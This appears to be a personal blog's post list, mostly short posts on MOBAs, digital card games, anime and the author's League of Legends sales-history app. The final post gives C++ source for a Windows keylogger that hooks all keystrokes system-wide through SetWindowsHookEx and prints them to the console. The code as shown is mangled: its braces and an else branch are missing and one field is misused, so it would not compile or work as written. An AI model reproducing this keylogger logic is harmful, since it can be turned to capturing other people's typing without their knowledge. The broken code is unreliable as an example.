NCSoft Open Source on GitHub

July 18th, 2016 No comments

Just noticed NCSoft has open source repos on github. Even more interesting it appears they’ve integrated Javascript into Unreal engine 4 in their Unreal.js project. Very cool.

Also noticed Epic integrated Chromium into Unreal 4 in their UMG Browser widget.

Categories: Game Development Tags:

League of Legends a Disaster?

July 10th, 2016 No comments

Interesting video…

Categories: General Tags:

Lots of Digital TCGs

July 10th, 2016 No comments

Figured I would look up all the digital TCG games I’ve seen mentioned on various forums (besides Hearthstone which is what I’m currently playing). I have come across this list (all of them are free to play):
SolForge (created by Richard Garfield)
Star Crusade
Infinity Wars

References: 3 card games alternatives to Hearthstone

Categories: Video Games Tags:

Orcs Must Die Unchained (Open Beta)

April 3rd, 2016 No comments

Orcs Must Die now has taken a look at MOBA games and have evolved the core gameplay to include 5 vs 5. Just been playing Siege coop with other players. Game is free to play so it is easy to hop in and play. Heroes feel pretty fresh and a good fit for their game mode. So far, my only criticism is I believe it could take quite awhile to grind the crafting mats to unlock a new hero. It’s unfortunate that all the heroes are not included.

Anyway the gameplay seems fun and addictive. Hopefully this game gets the attention it deserves.

Below seemed like a pretty good video that discusses it:

Categories: Consoles, PC Games, Video Games Tags:

So… Epic Games’ Paragon Card System…

March 9th, 2016 No comments

I am looking forward to this game lifting NDA on Mar 14th and Founder’s pack going for sale. They also stated that heroes will be free. However, there appears to be a catch. Paragon includes a Card system. Those of us that have played a lot of other mobas may have some alarm bells going off because this sounds a lot like:

  • Players will have to grind out Cards to be competitive
  • New players or casual players that do not grind out the Cards wont be as competitive

I really love how gorgeous this game looks but I fear a lot of the Dota 2 / Smite players may stay put unless Epic Games clarifies that the Card system will not impact competitive play. Those that might not be familiar with Dota 2 – the only money the player has to spend is on vanity items 100%. You do not have to spend time grinding runes, items, cards, etc. It is 100% all about the player skill. Smite is also in the same boat sort of- once you purchase the God pack for $20-30, you have all of the Gods. No need to grind for anything to be competitive. There are no cards, items, runes, etc.

I am personally sort of on the fence with Paragon and will wait and see what players think of the card system. But still this is very exciting to see MOBAs find their way to consoles. I wish Epic Games good luck with Paragon. I look forward to trying it out sometime :)

Categories: Consoles, PC Games, Video Games Tags:

Pokkén Tournament

February 15th, 2016 No comments

Yep looks pretty fun.

Categories: Consoles, Video Games Tags:

Current Anime

January 17th, 2016 No comments

Not watching much beyond One Piece and BRNK. Planning to checkout Grimgar of Fantasy and Ash. I heard it was being compared to Sword Art Online and that was all I needed to know. I did checkout Log Horizon and made it up to season 2. But Log Horizon always felt like a slice-of-life show done in an MMO. So it felt like a different sort of genre altogether. But very intelligent and fun show.

I might get back to watching Gate and Seraph (Vampires). Also might get back to going through Dragonball Z at some point

Categories: Anime Tags:

Favorite Anime of 2015

January 17th, 2016 No comments

2015 was a very great year for Anime. Since it’s been many years since I’ve been out of high school, the majority of anime are an instant pass for me. But there were a few rare gems that really caught my eye

Attack on Titan
Parasyte – the maxim –
Death Parade
One-Punch Man
Knights of Sidonia
Rokka no Yuusha

Runner ups:
Tokyo Ghoul
Blood Blockade Battlefront

Oh wow, I would’ve added Shingeki no Bahamut GENESIS but that one actually aired in 2014 but I think it ended in 2015. Was only 12 episodes but was quite a special masterpiece. Animation studio was Mappa. Apparently was based on a game. We saw actual angels (the biblical kind) with multiple wings. Was a delight :) I suppose in 2014 was when Hunter x Hunter aired. Still missing that show.

Categories: Anime Tags:

NodeJS App updated (League of Legends Sales History)

January 2nd, 2016 No comments

Made some updates to the League of Legends Sales History web app over the break. Fixed a few misc bugs and gave it more of a face lift. Now when a champ is selected, their data appears in a popup. Getting to be pretty proud of the app at this point

Categories: Programming, Projects Tags:

Simple Key Logger in Windows C++ Using SetWindowsHookEx

December 30th, 2015 No comments

So I wanted to code a simple key logger here at home but forgot how to set it up under Windows32. It was surprisingly sort of a pain so figure I’ll put up a simple example:

#include <Windows.h>
#include <iostream>
using namespace std;
HHOOK wHook;
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
	if (nCode < 0) { return CallNextHookEx(wHook, nCode, wParam, lParam); }
	KBDLLHOOKSTRUCT* key = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
	if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
		// Shift scanCode into 16th place. At bit 24, we set whether this is an extended key
		int scanCode = key->scanCode << 16| key->dwExtraInfo & LLKHF_EXTENDED << 24;
		TCHAR text[0xFF];
		if (GetKeyNameText(scanCode, text, 0xff) > 0)
			wcout << text << endl;
			// If the scanCode did not work directly, try converting the virtual key code
			scanCode = key->scanCode << 16;
                        GetKeyNameText(scanCode, text, 0xff);
                        wcout << text << endl;
	return CallNextHookEx(wHook, nCode, wParam, lParam);
int main()
	wHook = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, NULL, 0);
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0) > 0)
    return 0;


Categories: Code Warriors, Programming Tags: